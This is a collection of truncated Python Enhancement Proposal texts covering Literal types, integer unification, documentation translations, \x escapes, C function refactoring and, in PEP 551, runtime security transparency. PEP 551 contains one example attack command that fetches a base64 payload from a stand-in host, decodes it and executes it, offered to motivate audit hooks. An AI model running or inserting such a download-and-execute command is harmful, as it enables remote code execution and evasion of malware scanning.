to ``Union[Literal[v1], Literal[v2], Literal[v3]]``.

This shortcut helps make writing signatures for functions that accept
many different literals more ergonomic â for example, functions like
``open(...)``::

   # Note: this is a simplification of the true type signature.
   _PathType = Union[str, bytes, int]

   @overload
   def open(path: _PathType,
            mode: Literal["r", "w", "a", "x", "r+", "w+", "a+", "x+"],
            ) -> IO[Text]: ...
   @overload
   def open(path: _PathType,
            mode: Literal["rb", "wb", "ab", "xb", "r+b", "w+b", "a+b", "x+b"],
            ) -> IO[bytes]: ...

   # Fallback overload for when the user isn't using literal types
   @overload
   def open(path: _PathType, mode: str) -> IO[Any]: ...

The provided values do not all have to be members of the same type.
For example, ``Literal[42, "foo", True]`` is a legal type.

However, Literal **must** be parameterized with at least one type.
Types like ``Literal[]`` or ``Literal`` are illegal.


Legal and illegal parameterizations
===================================

This section describes what exactly constitutes a legal ``Literal[...]`` type:
what values may and may not be used as parameters.

In short, a ``Literal[...]`` type may be parameterized by one or more literal
expressions, and nothing else.


Legal parameters for ``Literal`` at type check time
---------------------------------------------------

``Literal`` may be parameterized with literal ints, byte and unicode strings,
bools, Enum values and ``None``. So for example, all of
the following would be legal::

   Literal[26]
   Literal[0x1A]  # Exactly equivalent to Literal[26]
   Literal[-4]
   Literal["hello world"]
   Literal[b"hello world"]
   Literal[u"hello world"]
   Literal[True]
   Literal[Color.RED]  # Assuming Color is some enum
   Literal[None]

**Note:** Since the type ``None`` is inhabited by just a single
value, the types ``None`` and ``Literal[None]`` are exactly equivalent.
Type checkers may simplify ``Literal[None]`` into just ``None``.

``Literal`` may also be parameterized by other literal types, or type aliases
to other literal types. For example, the following is legal::

    ReadOnlyMode         = Literal["r", "r+"]
    WriteAndTruncateMode = Literal["w", "w+", "wt", "w+t"]
    WriteNoTruncateMode  = Literal["r+", "r+t"]
    AppendMode           = Literal["a", "a+", "at", "a+t"]

    AllModes = Literal[ReadOnlyMode, WriteAndTruncateMode,
                       WriteNoTruncateMode, AppendMode]

This feature is again intended to help make using and reusing literal types
more ergonomic.

**Note:** As a consequence of the above rules, type checkers are also expected
to support types that look like the following::

    Literal[Literal[Literal[1, 2, 3], "foo"], 5, None]

This should be exactly equivalent to the following type::

    Literal[1, 2, 3, "foo", 5, None]

...and also to the following type::

    Optional[Literal[1, 2, 3, "foo", 5]]

**Note:** String literal types like ``Literal["foo"]`` should subtype either
bytes or unicode in the same way regular string literals do at runtime.

For example, in Python 3, the type ``Literal["foo"]`` is equivalent to
``Literal[u"foo"]``, since ``"foo"`` is equivalent to ``u"foo"`` in Python 3.

Similarly, in Python 2, the type ``Literal["foo"]`` is equivalent to
``Literal[b"foo"]`` -- unless the file includes a
``from __future__ import


id: pep-0237.rst
content:
PEP: 237
Title: Unifying Long Integers and Integers
Author: Moshe Zadka, Guido van Rossum
Status: Final
Type: Standards Track
Created: 11-Mar-2001
Python-Version: 2.2
Post-History: 16-Mar-2001, 14-Aug-2001, 23-Aug-2001


Abstract
========

Python currently distinguishes between two kinds of integers (ints): regular
or short ints, limited by the size of a C long (typically 32 or 64 bits), and
long ints, which are limited only by available memory.  When operations on
short ints yield results that don't fit in a C long, they raise an error.
There are some other distinctions too.  This PEP proposes to do away with most
of the differences in semantics, unifying the two types from the perspective
of the Python user.


Rationale
=========

Many programs find a need to deal with larger numbers after the fact, and
changing the algorithms later is bothersome.  It can hinder performance in the
normal case, when all arithmetic is performed using long ints whether or not
they are needed.

Having the machine word size exposed to the language hinders portability.  For
examples Python source files and .pyc's are not portable between 32-bit and
64-bit machines because of this.

There is also the general desire to hide unnecessary details from the Python
user when they are irrelevant for most applications. An example is memory
allocation, which is explicit in C but automatic in Python, giving us the
convenience of unlimited sizes on strings, lists, etc.  It makes sense to
extend this convenience to numbers.

It will give new Python programmers (whether they are new to programming in
general or not) one less thing to learn before they can start using the
language.


Implementation
==============

Initially, two alternative implementations were proposed (one by each author):

1. The ``PyInt`` type's slot for a C long will be turned into a::

       union {
           long i;
           struct {
               unsigned long length;
               digit digits[1];
           } bignum;
       };

   Only the ``n-1`` lower bits of the ``long`` have any meaning; the top bit
   is always set.  This distinguishes the ``union``.  All ``PyInt`` functions
   will check this bit before deciding which types of operations to use.

2. The existing short and long int types remain, but operations return
   a long int instead of raising ``OverflowError`` when a result cannot be
   represented as a short int.  A new type, ``integer``, may be introduced
   that is an abstract base type of which both the ``int`` and ``long``
   implementation types are subclassed.  This is useful so that programs can
   check integer-ness with a single test::

       if isinstance(i, integer): ...

After some consideration, the second implementation plan was selected, since
it is far easier to implement, is backwards compatible at the C API level, and
in addition can be implemented partially as a transitional measure.


Incompatibilities
=================

The following operations have (usually subtly) different semantics for short
and for long integers, and one or the other will have to be changed somehow.
This is intended to be an exhaustive list. If you know of any other operation
that differ in outcome depending on whether a short or a long int with the same
value is passed, please write the second author.

- Currently, all arithmetic operators on short ints except ``<<`` raise
  ``OverflowError`` if the result cannot be represented as a short int.  This
  will be changed to return a long int instead. The following operators can
  currently raise ``OverflowError``: ``x+y``, ``x-y``, ``x*y``, ``x**y``,
  ``divmod(x, y)``, ``x/y``, ``x%y``, and ``-x``.  (The last four can only
  overflow when the value ``-sys.maxint-1`` is involved.)

- Currently, ``x<<n`` can lose bits for short ints.  This will be changed to
  return a long int containing all the shifted-out bits, if returning a short
  int would lose bits (where changing sign is considered a special case of
  losing bits).

- Currently, hex and oct literals for short ints may specify negative values;
  for example ``0xffffffff == -1`` on a 32-bit machine.  This will be changed
  to equal ``0xffffffffL`` (``2**32-1``).

- Currently, the ``%u``, ``%x``, ``%X`` and ``%o`` string formatting operators
  and the ``hex()`` and ``oct()`` built-in functions behave differently for
  negative numbers: negative short ints are formatted as unsigned C long,
  while negative long ints are formatted with a minus sign.  This will be
  changed to use the long int semantics in all cases (but without the trailing
  *L* that currently distinguishes the output of ``hex()`` and ``oct()`` for
  long ints).  Note that this means that ``%u`` becomes an alias for ``%d``.
  It will eventually be removed.

- Currently, ``repr()`` of a long int returns a string ending in *L* while
  ``repr()`` of a short int doesn't.  The *L* will be dropped; but not before
  Python 3.0.

- Currently, an operation with long operands will never return a short int.
  This *may* change, since it allows some optimization.  (No changes have been
  made in this area yet, and none are planned.)

- The expression ``type(x).__name__`` depends on whether *x* is a short or a
  long int.  Since implementation alternative 2 is chosen, this difference
  will remain.  (In Python 3.0, we *may* be able to deploy a trick to hide the
  difference, because it *is* annoying to reveal the difference to user code,
  and more so as the difference between the two types is less visible.)

- Long and short ints are handled different by the ``marshal`` module, and by
  the ``pickle`` and ``cPickle`` modules.  This difference will remain (at
  least until Python 3.0).

- Short ints with small values (typically between -1 and 99 inclusive) are
  *interned* -- whenever a result has such a value, an existing short int with
  the same value is returned.  This is not done for long ints with the same
  values.  This difference will remain.  (Since there is no guarantee of this
  interning, it is debatable whether this is a semantic difference -- but code
  may exist that uses ``is`` for comparisons of short ints and happens to work
  because of this interning.  Such code may fail if used with long ints.)


Literals
========

A trailing *L* at the end of an integer literal will stop having any
meaning, and will be eventually become illegal.  The compiler will choose the
appropriate type solely based on the value. (Until Python 3.0, it will force
the literal to be a long; but literals without a trailing *L* may also be
long, if they are not representable as short ints.)


Built-in Functions
==================

The function ``int()`` will return a short or a long int depending on the
argument value.  In Python 3.0, the function ``long()`` will call the function
``int()``; before then, it will continue to force the result to be a long int,
but otherwise work the same way as ``int()``. The built-in name ``long`` will
remain in the language to represent the long implementation type (unless it is
completely eradicated in Python 3.0), but using the ``int()`` function is
still recommended, since it will automatically return a long when needed.


C API
=====

The C API remains unchanged; C code will still need to be aware of the
difference between short and long ints.  (The Python 3.0 C API will probably
be completely incompatible.)

The ``PyArg_Parse*()`` APIs already accept long ints, as long as they are
within the range representable by C ints or longs, so that functions taking C
int or long argument won't have to worry about dealing with Python longs.


Transition
==========

There are three major phases to the transition:

1. Short int operations that currently raise ``OverflowError`` return a long
   int value instead.  This is the only change in this phase.  Literals will
   still distinguish between short and long ints.  The other semantic
   differences listed above (including the behavior of ``<<``) will remain.
   Because this p


id: pep-0551.rst
content:
PEP: 551
Title: Security transparency in the Python runtime
Author: Steve Dower <steve.dower@python.org>
Status: Withdrawn
Type: Informational
Created: 23-Aug-2017
Python-Version: 3.7
Post-History: 24-Aug-2017, 28-Aug-2017

.. note::
   This PEP has been withdrawn. For information about integrated
   CPython into a secure environment, we recommend consulting your own
   security experts.

Relationship to PEP 578
=======================

This PEP has been split into two since its original posting.

See :pep:`578` for the
auditing APIs proposed for addition to the next version of Python.

This is now an informational PEP, providing guidance to those planning
to integrate Python into their secure or audited environments.

Abstract
========

This PEP describes the concept of security transparency and how it
applies to the Python runtime. Visibility into actions taken by the
runtime is invaluable in integrating Python into an otherwise secure
and/or monitored environment.

The audit hooks described in :pep:`578` are an essential component in
detecting, identifying and analyzing misuse of Python. While the hooks
themselves are neutral (in that not every reported event is inherently
misuse), they provide essential context to those who are responsible
for monitoring an overall system or network. With enough transparency,
attackers are no longer able to hide.

Background
==========

Software vulnerabilities are generally seen as bugs that enable remote
or elevated code execution. However, in our modern connected world, the
more dangerous vulnerabilities are those that enable advanced persistent
threats (APTs). APTs are achieved when an attacker is able to penetrate
a network, establish their software on one or more machines, and over
time extract data or intelligence. Some APTs may make themselves known
by maliciously damagingÂ data (e.g., `WannaCrypt
<https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/WannaCrypt>`_)
or hardware (e.g., `Stuxnet
<https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Win32/Stuxnet>`_).
Most attempt to hide their existence and avoid detection. APTs often use
a combination of traditional vulnerabilities, social engineering,
phishing (or spear-phishing), thorough network analysis, and an
understanding of misconfigured environments to establish themselves and
do their work.

The first infected machines may not be the final targetÂ and may not
require special privileges. For example, an APT that is established as a
non-administrative user on a developerâs machine may have the ability to
spread to production machines through normal deployment channels. It is
common for APTs to persist on as many machines as possible, with sheer
weight of presence making themÂ difficult to remove completely.

Whether an attackerÂ is seeking to cause direct harm or hide their
tracks, the biggest barrier to detection is a lack of insight. System
administrators with large networks rely on distributed logs to
understand what their machines are doing, but logs are often filtered to
show only error conditions. APTs that are attempting to avoid detection
will rarely generate errors or abnormal events. Reviewing normal
operation logs involves a significant amount of effort, though work is
underway by a number of companies to enable automatic anomaly detection
within operational logs. The tools preferred by attackers are ones that
are already installed on the target machines, since log messages from
these tools are often expected and ignored in normal use.

At this point, we are not going to spend further time discussing the
existence of APTs or methods and mitigations that do not apply to this
PEP. For further information about the field, we recommend reading or
watching the resources listed under `Further Reading`_.

Python is a particularly interesting tool for attackers due to its
prevalence on server and developer machines, its ability to execute
arbitrary code provided as data (as opposed to native binaries), and its
complete lack of internal auditing. This allows attackers to download,
decrypt, and execute malicious code with a single command::

    python -c "import urllib.request, base64;
        exec(base64.b64decode(
            urllib.request.urlopen('http://my-exploit/py.b64')
        ).decode())"

This command currently bypasses most anti-malware scannersÂ that rely on
recognizable code being read through a network connection or being
written to disk (base64 is often sufficient to bypass these checks). It
also bypasses protections such as file access control lists or
permissions (no file access occurs), approved application lists
(assuming Python has been approved for other uses), and automated
auditing or logging (assuming Python is allowed to access the internet
orÂ access another machine on the local network from which to obtain its
payload).

General consensus among the security community is that totally
preventing attacks is infeasible and defenders should assume that they
will often detect attacks only after they have succeeded. This is known
as the "assume breach" mindset. [1]_ In this scenario, protections such
as sandboxingÂ and input validation have already failed, and the
important task is detection, tracking, and eventual removal of the
malicious code. To this end, the primary feature required from Python is
security transparency: the ability to see what operations the Python
runtime is performing that may indicate anomalous or malicious use.
Preventing such use is valuable, but secondary to the need to know that
it is occurring.

To summarise the goals in order of increasing importance:

* preventing malicious use is valuable
* detecting malicious use is important
* detecting attempts to bypass detection is critical

One example of a scripting engine that has addressed these challenges is
PowerShell, which has recently been enhanced towards similar goals of
transparency and prevention. [2]_

Generally, application and system configuration will determine which
events within a scripting engine are worth logging. However, given the
value of many logs events are not recognized until after an attack is
detected, it is important to capture as much as possible and filter
views rather than filtering at the source (see the No Easy Breach video
from `Further Reading`_). Events that are always of interest include
attempts to bypass auditing, attempts to load and execute code that is
not correctly signed or access-controlled, use of uncommon operating
system functionality such as debugging or inter-process inspection
tools, most network access and DNS resolution, and attempts to create
and hide files or configuration settings on the local machine.

To summarize, defenders have a need to audit specific uses of Python in
order to detect abnormal or malicious usage. With :pep:`578`, the Python
runtime gains the ability to provide this. The aim of this PEP is to
assist system administrators with deploying a security transparent
version of Python that can integrate with their existing auditing and
protection systems.

On Windows, some specific features that may be integrated through the
hooks added by :pep:`578` include:

* Script Block Logging [3]_
* DeviceGuard [4]_
* AMSI [5]_
* Persistent Zone Identifiers [6]_
* Event tracing (which includes event forwarding) [7]_

On Linux, some specific features that may be integrated are:

* gnupg [8]_
* sd_journal [9]_
* OpenBSM [10]_
* syslog [11]_
* auditd [12]_
* SELinux labels [13]_
* check execute bit on imported modules

On macOS, some features that may be integrated are:

* OpenBSM [10]_
* syslog [11]_

Overall, the ability to enable these platform-specific features on
production machines is highly appealing to system administrators and
will make Python a more trustworthy dependency for application
developers.

True security transparency is not fully achievable by Python in
isolation. The runtime can audit as many events as it likes, but


id: pep-0545.rst
content:
PEP: 545
Title: Python Documentation Translations
Author: Julien Palard <julien@palard.fr>,
        Inada Naoki <songofacandy@gmail.com>,
        Victor Stinner <vstinner@python.org>
Status: Active
Type: Process
Topic: Governance
Created: 04-Mar-2017
Resolution: https://mail.python.org/pipermail/python-dev/2017-May/147957.html


Abstract
========

The intent of this PEP is to make existing translations of the Python
Documentation more accessible and discoverable.  By doing so, we hope
to attract and motivate new translators and new translations.

Translated documentation will be hosted on python.org.  Examples of
two active translation teams:

* https://docs.python.org/fr/: French
* https://docs.python.org/ja/: Japanese

https://docs.python.org/en/ will redirect to https://docs.python.org/.

Sources of translated documentation will be hosted in the Python
organization on GitHub: https://github.com/python/.  Contributors will
have to accept a Documentation Contribution Agreement.


Motivation
==========

On the French ``#python-fr`` IRC channel on freenode, it's not rare to
meet people who don't speak English and so are unable to read the
Python official documentation.  Python wants to be widely available
to all users in any language: this is also why Python 3 supports
any non-ASCII identifiers:
:pep:`3131#rationale`

There are at least 4 groups of people who are translating the Python
documentation to their native language (French [16]_ [17]_ [18]_,
Japanese [19]_ [20]_, Spanish [21]_, Hungarian [26]_ [27]_) even
though their translations are not visible on d.p.o.  Other, less
visible and less organized groups, are also translating the
documentation, we've heard of Russian [25]_, Chinese and
Korean. Others we haven't found yet might also exist.  This PEP
defines rules describing how to move translations on docs.python.org
so they can easily be found by developers, newcomers and potential
translators.

The Japanese team has (as of March 2017) translated ~80% of the
documentation, the French team ~20%.  French translation went from 6%
to 23% in 2016 [13]_ with 7 contributors [14]_, proving a translation
team can be faster than the rate the documentation mutates.


Quoting Xiang Zhang about Chinese translations:

  I have seen several groups trying to translate part of our official
  doc.  But their efforts are disperse and quickly become lost because
  they are not organized to work towards a single common result and
  their results are hold anywhere on the Web and hard to find.  An
  official one could help ease the pain.


Rationale
=========

Translation
-----------

Issue tracker
'''''''''''''

Considering that issues opened about translations may be written in
the translation language, which can be considered noise but at least
is inconsistent, issues should not be placed in the `CPython issue tracker
<https://github.com/python/cpython/issues/>`_.

As all translation must have their own GitHub project (see `Repository
for Po Files`_), they must use the associated GitHub issue tracker.

Considering the noise induced by translation issues redacted in any
languages which may beyond every warnings land in the issue tracker, triage will
have to be done.  Considering that translations already exist and are
not actually a source of noise in issue tracker, an unmanageable amount of
work is not to be expected.  Considering that Xiang Zhang and Victor
Stinner are already triaging, and Julien Palard is willing to help on
this task, noise on issue tracker is not to be expected.

Also, language team coordinators (see `Language Team`_) should help
with triaging the issue tracker by properly indicating, in the language of the
issue author if required, the right issue tracker.


Branches
''''''''

Translation teams should focus on last stable versions, and use tools
(scripts, translation memory, â¦) to automatically translate what is
done in one branch to other branches.

.. note::
   Translation memories are a kind of database of previously translated
   paragraphs, even removed ones.  See also `Sphinx Internationalization
   <https://www.sphinx-doc.org/en/stable/intl.html>`_.

The newest currently stable branch will be translated and translations
can be propagated to other branches. The scripts to build the documentation of older
branches needs to be modified to support translation [12]_, whereas
these branches now only accept security-only fixes.

The development branch (main) should have a lower translation priority
than stable branches.  But docsbuild-scripts should build it anyway so
it is possible for a team to work on it to be ready for the next
release.


Hosting
-------

Domain Name, Content negotiation and URL
''''''''''''''''''''''''''''''''''''''''

Different translations can be identified by changing one of the
following: Country Code Top Level Domain (CCTLD),
path segment, subdomain or content negotiation.

Buying a CCTLD for each translations is expensive, time-consuming, and
sometimes almost impossible when already registered, this solution
should be avoided.

Using subdomains like "es.docs.python.org" or "docs.es.python.org" is
possible but confusing ("is it ``es.docs.python.org`` or
``docs.es.python.org``?").  Hyphens in subdomains like
``pt-br.doc.python.org`` is uncommon and SEOMoz [23]_ correlated the
presence of hyphens as a negative factor.  Usage of underscores in
subdomain is prohibited by the :rfc:`1123`, section 2.1.  Finally,
using subdomains means creating TLS certificates for each
language. This not only requires more maintenance but will also cause
issues in language switcher if, as for version switcher, we want a
preflight to check if the translation exists in the given version:
preflight will probably be blocked by same-origin-policy.  Wildcard
TLS certificates are very expensive.

Using content negotiation (HTTP headers ``Accept-Language`` in the
request and ``Vary: Accept-Language``) leads to a bad user experience
where they can't easily change the language.  According to Mozilla:
"This header is a hint to be used when the server has no way of
determining the language via another way, like a specific URL, that is
controlled by an explicit user decision." [24]_.  As we want to be
able to easily change the language, we should not use the content
negotiation as a main language determination, so we need something
else.

Last solution is to use the URL path, which looks readable, allows
for an easy switch from a language to another, and nicely accepts
hyphens.  Typically something like: "docs.python.org/de/" or, by
using a hyphen: "docs.python.org/pt-BR/".

As for the version, sphinx-doc does not support compiling for multiple
languages, so we'll have full builds rooted under a path, exactly like
we're already doing with versions.

So we can have "docs.python.org/de/3.6/" or
"docs.python.org/3.6/de/".  A question that arises is:
"Does the language contain multiple versions or does the version contain
multiple languages?".  As versions exist in any case and translations
for a given version may or may not exist, we may prefer
"docs.python.org/3.6/de/", but doing so scatters languages everywhere.
Having "/de/3.6/" is clearer, meaning: "everything under /de/ is written
in German".  Having the version at the end is also a habit taken by
readers of the documentation: they like to easily change the version
by changing the end of the path.

So we should use the following pattern:
"docs.python.org/LANGUAGE_TAG/VERSION/".

The current documentation is not moved to "/en/", instead
"docs.python.org/en/" will redirect to "docs.python.org".


Language Tag
''''''''''''

A common notation for language tags is the :rfc:`IETF Language Tag <5646>`
[4]_ based on ISO 639, although gettext uses ISO 639 tags with
underscores (ex: ``pt_BR``) instead of dashes to join tags [5]_
(ex: ``pt-BR``).  Examples of IETF Language Tags: ``fr`` (French),
``ja`` (Japanese), ``pt-BR`` (Orthographic formulation of 1943 -
Official in Brazil).

It is more common to see 


id: pep-0223.rst
content:
PEP: 223
Title: Change the Meaning of ``\x`` Escapes
Author: Tim Peters <tim.peters@gmail.com>
Status: Final
Type: Standards Track
Created: 20-Aug-2000
Python-Version: 2.0
Post-History: 23-Aug-2000


Abstract
========

Change ``\x`` escapes, in both 8-bit and Unicode strings, to consume
exactly the two hex digits following.  The proposal views this as
correcting an original design flaw, leading to clearer expression
in all flavors of string, a cleaner Unicode story, better
compatibility with Perl regular expressions, and with minimal risk
to existing code.


Syntax
======

The syntax of ``\x`` escapes, in all flavors of non-raw strings, becomes ::

   \xhh

where h is a hex digit (0-9, a-f, A-F).  The exact syntax in 1.5.2 is
not clearly specified in the Reference Manual; it says ::

   \xhh...

implying "two or more" hex digits, but one-digit forms are also
accepted by the 1.5.2 compiler, and a plain ``\x`` is "expanded" to
itself (i.e., a backslash followed by the letter x).  It's unclear
whether the Reference Manual intended either of the 1-digit or
0-digit behaviors.


Semantics
=========

In an 8-bit non-raw string, ::

   \xij

expands to the character ::

   chr(int(ij, 16))

Note that this is the same as in 1.6 and before.

In a Unicode string,
::

   \xij

acts the same as ::

   \u00ij

i.e. it expands to the obvious Latin-1 character from the initial
segment of the Unicode space.

An ``\x`` not followed by at least two hex digits is a compile-time error,
specifically ``ValueError`` in 8-bit strings, and ``UnicodeError`` (a subclass
of ``ValueError``) in Unicode strings.  Note that if an ``\x`` is followed by
more than two hex digits, only the first two are "consumed".  In 1.6
and before all but the *last* two were silently ignored.


Example
=======

In 1.5.2::

    >>> "\x123465"  # same as "\x65"
    'e'
    >>> "\x65"
    'e'
    >>> "\x1"
    '\001'
    >>> "\x\x"
    '\\x\\x'
    >>>

In 2.0::

    >>> "\x123465" # \x12 -> \022, "3456" left alone
    '\0223456'
    >>> "\x65"
    'e'
    >>> "\x1"
    [ValueError is raised]
    >>> "\x\x"
    [ValueError is raised]
    >>>


History and Rationale
=====================

``\x`` escapes were introduced in C as a way to specify variable-width
character encodings.  Exactly which encodings those were, and how many
hex digits they required, was left up to each implementation.  The
language simply stated that ``\x`` "consumed" *all* hex digits following,
and left the meaning up to each implementation.  So, in effect, ``\x`` in C
is a standard hook to supply platform-defined behavior.

Because Python explicitly aims at platform independence, the ``\x`` escape
in Python (up to and including 1.6) has been treated the same way
across all platforms:  all *except* the last two hex digits were
silently ignored.  So the only actual use for ``\x`` escapes in Python was
to specify a single byte using hex notation.

Larry Wall appears to have realized that this was the only real use for
``\x`` escapes in a platform-independent language, as the proposed rule for
Python 2.0 is in fact what Perl has done from the start (although you
need to run in Perl -w mode to get warned about ``\x`` escapes with fewer
than 2 hex digits following -- it's clearly more Pythonic to insist on
2 all the time).

When Unicode strings were introduced to Python, ``\x`` was generalized so
as to ignore all but the last *four* hex digits in Unicode strings.
This caused a technical difficulty for the new regular expression engine:
SRE tries very hard to allow mixing 8-bit and Unicode patterns and
strings in intuitive ways, and it no longer had any way to guess what,
for example, ``r"\x123456"`` should mean as a pattern:  is it asking to match
the 8-bit character ``\x56`` or the Unicode character ``\u3456``?

There are hacky ways to guess, but it doesn't end there.  The ISO C99
standard also introduces 8-digit ``\U12345678`` escapes to cover the entire
ISO 10646 character space, and it's also desired that Python 2 support
that from the start.  But then what are ``\x`` escapes supposed to mean?
Do they ignore all but the last *eight* hex digits then?  And if less
than 8 following in a Unicode string, all but the last 4?  And if less
than 4, all but the last 2?

This was getting messier by the minute, and the proposal cuts the
Gordian knot by making ``\x`` simpler instead of more complicated.  Note
that the 4-digit generalization to ``\xijkl`` in Unicode strings was also
redundant, because it meant exactly the same thing as ``\uijkl`` in Unicode
strings.  It's more Pythonic to have just one obvious way to specify a
Unicode character via hex notation.


Development and Discussion
==========================

The proposal was worked out among Guido van Rossum, Fredrik Lundh and
Tim Peters in email.  It was subsequently explained and discussed on
Python-Dev under subject "Go \x yourself" [1]_, starting 2000-08-03.
Response was overwhelmingly positive; no objections were raised.


Backward Compatibility
======================

Changing the meaning of ``\x`` escapes does carry risk of breaking existing
code, although no instances of incompatibility have yet been discovered.
The risk is believed to be minimal.

Tim Peters verified that, except for pieces of the standard test suite
deliberately provoking end cases, there are no instances of ``\xabcdef...``
with fewer or more than 2 hex digits following, in either the Python
CVS development tree, or in assorted Python packages sitting on his
machine.

It's unlikely there are any with fewer than 2, because the Reference
Manual implied they weren't legal (although this is debatable!).  If
there are any with more than 2, Guido is ready to argue they were buggy
anyway <0.9 wink>.

Guido reported that the O'Reilly Python books *already* document that
Python works the proposed way, likely due to their Perl editing
heritage (as above, Perl worked (very close to) the proposed way from
its start).

Finn Bock reported that what JPython does with ``\x`` escapes is
unpredictable today.  This proposal gives a clear meaning that can be
consistently and easily implemented across all Python implementations.


Effects on Other Tools
======================

Believed to be none.  The candidates for breakage would mostly be
parsing tools, but the author knows of none that worry about the
internal structure of Python strings beyond the approximation "when
there's a backslash, swallow the next character".  Tim Peters checked
``python-mode.el``, the std ``tokenize.py`` and ``pyclbr.py``, and the IDLE syntax
coloring subsystem, and believes there's no need to change any of
them.  Tools like ``tabnanny.py`` and ``checkappend.py`` inherit their immunity
from ``tokenize.py``.


Reference Implementation
========================

The code changes are so simple that a separate patch will not be produced.
Fredrik Lundh is writing the code, is an expert in the area, and will
simply check the changes in before 2.0b1 is released.


BDFL Pronouncements
===================

Yes, ``ValueError``, not ``SyntaxError``.  "Problems with literal interpretations
traditionally raise 'runtime' exceptions rather than syntax errors."


References
==========

.. [1] Tim Peters, Go \x yourself
       https://mail.python.org/pipermail/python-dev/2000-August/007825.html


Copyright
=========

This document has been placed in the public domain.


id: pep-0579.rst
content:
PEP: 579
Title: Refactoring C functions and methods
Author: Jeroen Demeyer <J.Demeyer@UGent.be>
BDFL-Delegate: Petr Viktorin
Status: Final
Type: Informational
Created: 04-Jun-2018
Post-History: 20-Jun-2018


Approval Notice
===============

This PEP describes design issues addressed in :pep:`575`, :pep:`580`, :pep:`590`
(and possibly later proposals).

As noted in :pep:`PEP 1 <1#pep-types>`:

   Informational PEPs do not necessarily represent a Python community
   consensus or recommendation, so users and implementers are free to
   ignore Informational PEPs or follow their advice.

While there is no consensus on whether the issues or the solutions in
this PEP are valid, the list is still useful to guide further design.


Abstract
========

This meta-PEP collects various issues with CPython's existing implementation
of built-in functions (functions implemented in C) and methods.

Fixing all these issues is too much for one PEP,
so that will be delegated to other standards track PEPs.
However, this PEP does give some brief ideas of possible fixes.
This is mainly meant to coordinate an overall strategy.
For example, a proposed solution may sound too complicated
for fixing any one single issue, but it may be the best overall
solution for multiple issues.

This PEP is purely informational:
it does not imply that all issues will eventually
be fixed, nor that they will be fixed using the solution proposed here.

It also serves as a check-list of possible requested features
to verify that a given fix does not make those
other features harder to implement.

The major proposed change is replacing ``PyMethodDef``
by a new structure ``PyCCallDef``
which collects everything needed for calling the function/method.
In the ``PyTypeObject`` structure, a new field ``tp_ccalloffset``
is added giving an offset to a ``PyCCallDef *`` in the object structure.

**NOTE**: This PEP deals only with CPython implementation details,
it does not affect the Python language or standard library.


Issues
======

This lists various issues with built-in functions and methods,
together with a plan for a solution and (if applicable)
pointers to standards track PEPs discussing the details.


1. Naming
---------

The word "built-in" is overused in Python.
From a quick skim of the Python documentation, it mostly refers
to things from the ``builtins`` module.
In other words: things which are available in the global namespace
without a need for importing them.
This conflicts with the use of the word "built-in" to mean "implemented in C".

**Solution**: since the C structure for built-in functions and methods is already
called ``PyCFunctionObject``,
let's use the name "cfunction" and "cmethod" instead of "built-in function"
and "built-in method".


2. Not extendable
-----------------

The various classes involved (such as ``builtin_function_or_method``)
cannot be subclassed::

    >>> from types import BuiltinFunctionType
    >>> class X(BuiltinFunctionType):
    ...     pass
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: type 'builtin_function_or_method' is not an acceptable base type

This is a problem because it makes it impossible to add features
such as introspection support to these classes.

If one wants to implement a function in C with additional functionality,
an entirely new class must be implemented from scratch.
The problem with this is that the existing classes like
``builtin_function_or_method`` are special-cased in the Python interpreter
to allow faster calling (for example, by using ``METH_FASTCALL``).
It is currently impossible to have a custom class with the same optimizations.

**Solution**: make the existing optimizations available to arbitrary classes.
This is done by adding a new ``PyTypeObject`` field ``tp_ccalloffset``
(or can we re-use ``tp_print`` for that?)
specifying the offset of a ``PyCCallDef`` pointer.
This is a new structure holding all information needed to call
a cfunction and it would be used instead of ``PyMethodDef``.
This implements the new "C call" protocol.

For constructing cfunctions and cmethods, ``PyMethodDef`` arrays
will still be used (for example, in ``tp_methods``) but that will
be the *only* remaining purpose of the ``PyMethodDef`` structure.

Additionally, we can also make some function classes subclassable.
However, this seems less important once we have ``tp_ccalloffset``.

**Reference**: :pep:`580`


3. cfunctions do not become methods
-----------------------------------

A cfunction like ``repr`` does not implement ``__get__`` to bind
as a method::

    >>> class X:
    ...     meth = repr
    >>> x = X()
    >>> x.meth()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: repr() takes exactly one argument (0 given)

In this example, one would have expected that ``x.meth()`` returns
``repr(x)`` by applying the normal rules of methods.

This is surprising and a needless difference
between cfunctions and Python functions.
For the standard built-in functions, this is not really a problem
since those are not meant to used as methods.
But it does become a problem when one wants to implement a
new cfunction with the goal of being usable as method.

Again, a solution could be to create a new class behaving just
like cfunctions but which bind as methods.
However, that would lose some existing optimizations for methods,
such as the ``LOAD_METHOD``/``CALL_METHOD`` opcodes.

**Solution**: the same as the previous issue.
It just shows that handling ``self`` and ``__get__``
should be part of the new C call protocol.

For backwards compatibility, we would keep the existing non-binding
behavior of cfunctions. We would just allow it in custom classes.

**Reference**: :pep:`580`


4. Semantics of inspect.isfunction
----------------------------------

Currently, ``inspect.isfunction`` returns ``True`` only for instances
of ``types.FunctionType``.
That is, true Python functions.

A common use case for ``inspect.isfunction`` is checking for introspection:
it guarantees for example that ``inspect.getfile()`` will work.
Ideally, it should be possible for other classes to be treated as
functions too.

**Solution**: introduce a new ``InspectFunction`` abstract base class
and use that to implement ``inspect.isfunction``.
Alternatively, use duck typing for ``inspect.isfunction``
(as proposed in [#bpo30071]_)::

    def isfunction(obj):
        return hasattr(type(obj), "__code__")


5. C functions should have access to the function object
--------------------------------------------------------

The underlying C function of a cfunction currently
takes a ``self`` argument (for bound methods)
and then possibly a number of arguments.
There is no way for the C function to actually access the Python
cfunction object (the ``self`` in ``__call__`` or ``tp_call``).
This would for example allow implementing the
C call protocol for Python functions (``types.FunctionType``):
the C function which implements calling Python functions
needs access to the ``__code__`` attribute of the function.

This is also needed for :pep:`573`
where all cfunctions require access to their "parent"
(the module for functions of a module or the defining class
for methods).

**Solution**: add a new ``PyMethodDef`` flag to specify
that the C function takes an additional argument (as first argument),
namely the function object.

**References**: :pep:`580`, :pep:`573`


6. METH_FASTCALL is private and undocumented
--------------------------------------------

The ``METH_FASTCALL`` mechanism allows calling cfunctions and cmethods
using a C array of Python objects instead of a ``tuple``.
This was introduced in Python 3.6 for positional arguments only
and extended in Python 3.7 with support for keyword arguments.

However, given that it is undocumented,
it is presumably only supposed to be used by CPython itself.

**Solution**: since this is an important optimization,
